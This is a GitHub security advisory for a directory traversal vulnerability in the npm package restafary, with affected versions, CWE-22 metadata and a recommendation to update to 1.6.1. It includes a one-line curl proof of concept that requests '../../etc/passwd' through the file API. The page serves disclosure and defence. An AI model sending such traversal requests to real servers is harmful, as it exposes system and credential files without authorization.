GHSA-xg5r-8j97-2wrj

Suggest an improvement
Source
https://github.com/advisories/GHSA-xg5r-8j97-2wrj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xg5r-8j97-2wrj/GHSA-xg5r-8j97-2wrj.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-xg5r-8j97-2wrj
Aliases
Published
2019-02-18T23:39:22Z
Modified
2023-11-01T04:46:34Z
Summary
Directory Traversal in restafary
Details

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

Database specific 
{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:03:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

npm / restafary

Package

Name
restafary
View open source insights on deps.dev
Purl
pkg:npm/restafary

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.6.1

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xg5r-8j97-2wrj/GHSA-xg5r-8j97-2wrj.json"